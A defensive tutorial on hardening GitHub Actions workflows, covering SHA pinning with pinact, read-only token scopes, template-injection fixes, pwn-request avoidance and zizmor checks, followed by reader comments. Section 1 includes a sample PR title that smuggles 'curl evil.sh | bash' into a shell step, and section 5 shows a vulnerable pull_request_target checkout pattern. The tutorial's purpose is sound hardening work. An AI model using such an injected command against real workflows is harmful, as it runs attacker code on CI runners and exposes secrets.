Harden GitHub Actions Workflows Against Supply-Chain Attacks
Pin actions to commit SHAs, scope GITHUB_TOKEN, and close pwn-request holes before an attacker finds them.
What you'll build
You'll take a typical GitHub Actions CI workflow and harden it against supply-chain attacks: every third-party action pinned to an immutable commit SHA, GITHUB_TOKEN cut down to read-only, template injection closed, and automated checks that keep it that way.
Prerequisites
- macOS or Linux with Homebrew. Both tools below also install via
pip,cargo, or prebuilt binaries if you don't use brew. - The GitHub CLI authenticated (
gh auth login). The tools use its token for API lookups. - A repository with workflows in
.github/workflows/. - Verified against zizmor 1.30.1, pinact 4.1.1,
actions/checkoutv7.0.1, andactions/setup-nodev5.0.0 in September 2026.
1. Know what you're fixing
Here's a workflow you've seen a hundred times. It has three problems:
name: CI
on:
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v5
with:
node-version: 22
- name: Greet
run: echo "Thanks for the PR, ${{ github.event.pull_request.title }}"
First, @v7 is a git tag, and tags are mutable. Whoever controls the action's repo can re-point the tag at any commit, and your next run executes it. That's exactly what happened in the March 2025 tj-actions/changed-files compromise (CVE-2025-30066): version tags were re-pointed at a commit that dumped CI secrets into build logs across thousands of repositories.
Second, the workflow never declares permissions, so GITHUB_TOKEN gets whatever the repo default is. On older repos that means write access to nearly everything.
Third, the run step interpolates the PR title directly into shell code. Expressions expand before the shell ever runs, so a PR titled a"; curl evil.sh | bash; echo " executes on your runner.
2. Pin every action to a commit SHA
A full 40-character commit SHA is the only immutable way to reference an action. Pinning by hand is tedious, so use pinact:
brew install pinact
export GITHUB_TOKEN=$(gh auth token)
pinact run
pinact rewrites every uses: line in .github/workflows/ and prints the diff:
.github/workflows/ci.yml:9
- - uses: actions/checkout@v7
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
.github/workflows/ci.yml:10
- - uses: actions/setup-node@v5
+ - uses: actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444 # v5.0.0
The trailing comment keeps the pin human-readable, and Dependabot updates both the SHA and the comment together (step 6). Note that pinact resolves the tag you already referenced. Run pinact run --update if you also want to bump to the latest release.
3. Scope GITHUB_TOKEN to read-only
Declare permissions explicitly at the top of every workflow, then grant more only to the jobs that need it:
permissions:
contents: read
jobs:
comment:
permissions:
contents: read
pull-requests: write # only this job can comment on PRs
Also set the repo-wide default under Settings → Actions → General → Workflow permissions to "Read repository contents and packages permissions". Repos created since 2023 default to read-only, but older ones don't, and an explicit permissions block wins either way. If a compromised action runs with a read-only token, the blast radius is your code, not your releases, packages, and PRs.
4. Close the injection and credential leaks
Fix the shell injection by moving the untrusted value into an environment variable, so it arrives as data instead of code. While you're in the file, add persist-credentials: false to checkout, because by default it writes the repo token into .git/config where any later step can read it:
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444 # v5.0.0
with:
node-version: 22
- name: Greet
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Thanks for the PR, $PR_TITLE"
Treat every field an outside contributor controls as hostile: PR titles and bodies, branch names, commit messages, issue comments.
5. Close the pwn-request hole
The pull_request trigger is safe for forks: no secrets, read-only token. The pull_request_target trigger is the dangerous one. It runs in the base repo's context with secrets and a privileged token, which is fine until the workflow checks out the attacker's code. Grep your workflows for this combination:
on: pull_request_target
# ...
- uses: actions/checkout@...
with:
ref: ${{ github.event.pull_request.head.sha }}
That's a pwn request: any step that runs the checked-out code (npm install is enough, via install scripts) hands the attacker your secrets. The fix is separation. Never check out or execute fork code under pull_request_target. If you need to label or comment on fork PRs, run the untrusted build under plain pull_request, then do the privileged part in a separate workflow_run workflow that only reads uploaded artifacts.
6. Make it stick
Three guards keep the repo from regressing. Scan with zizmor, a static analyzer with 38 audit rules for exactly these bugs:
brew install zizmor
export GH_TOKEN=$(gh auth token)
zizmor .github/workflows/
Add pinact run --check to CI so any PR that introduces an unpinned uses: line fails. Then create .github/dependabot.yml so pins don't rot; Dependabot raises PRs that bump the SHA and the version comment together:
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
If you're an org admin, you can enforce all of this centrally: since August 2025, the allowed-actions policy (Settings → Actions → General → Actions permissions) can require SHA pinning, and any workflow using an unpinned action fails to start.
Verify it works
Run zizmor against the original workflow from step 1 and you'll get five findings, including error[unpinned-uses], error[template-injection], and warning[excessive-permissions]. Against the hardened version:
$ zizmor .github/workflows/
INFO zizmor: 🌈 zizmor v1.30.1
INFO audit: zizmor: 🌈 completed .github/workflows/ci.yml
No findings to report. Good job! (2 suppressed)
Exit code 0. pinact run --check should likewise exit 0 with no output. Push a branch that reverts one pin to @v7 and CI should fail, which proves the guard actually guards.
Troubleshooting
RequestError [HttpError]: Resource not accessible by integration— a step is calling the API with a permission you just removed, commonly commenting on a PR or creating a release. Find the job doing the write and grant it the one scope it needs (pull-requests: write,contents: write) at the job level, not workflow-wide.ERROR failed to handle a line: verify the version annotation: ... 422 No commit found for SHA: v5.1.0— frompinact run --verify. The version comment next to a SHA doesn't match the commit it annotates, which is either drift from a hand edit or someone disguising a malicious pin. Re-runpinact runto rewrite the comment from the real tag, then diff before committing.WARN audit: zizmor: zizmor is running in offline mode by default; some audits and auto-fixes will not be available— zizmor found no GitHub token, so online audits likeknown-vulnerable-actionsand impostor-commit detection were skipped. ExportGH_TOKEN=$(gh auth token)locally, or pass the built-in token when running zizmor in Actions.
Next steps
Turn zizmor's strictness up with --persona=pedantic and browse its audit rules to understand what each one catches; zizmor --fix can apply the safe ones for you. GitHub's secure use reference covers the longer tail: cache poisoning, reusable workflow trust, and OpenID Connect for cloud deploys, which eliminates the long-lived cloud secrets this tutorial just made harder to steal.
Sources & further reading
- Secure use reference — docs.github.com
- Usage - zizmor — docs.zizmor.sh
- Installation - zizmor — docs.zizmor.sh
- pinact: pin GitHub Actions versions — github.com
- GitHub Actions policy now supports blocking and SHA pinning actions — github.blog
Emeka has spent over a decade tracking threat actors, vulnerability disclosures, and the evolving landscape of application security, bringing a sharp continent-spanning perspective to his reporting. He's known for translating dense CVE advisories into clear, actionable context that developers and security teams alike actually read.
Discussion 3
pinning to commit SHAs is solid, but how do you handle transitive deps when an action itself pulls in third-party code. are you auditing the action's workflow too, or is the assumption that pinning limits blast radius enough.
pinning to commit SHAs is non-negotiable, learned that the hard way when a transitive dependency in our ci runner got compromised mid-deploy. the token scoping piece is what nobody actually does though—we had default write-all for two years before an audit called it out, which is embarrassing given it's literally one line.
pinning to commit shas is solid, but good luck getting the whole team to actually maintain that. bookmarking the zizmor tool though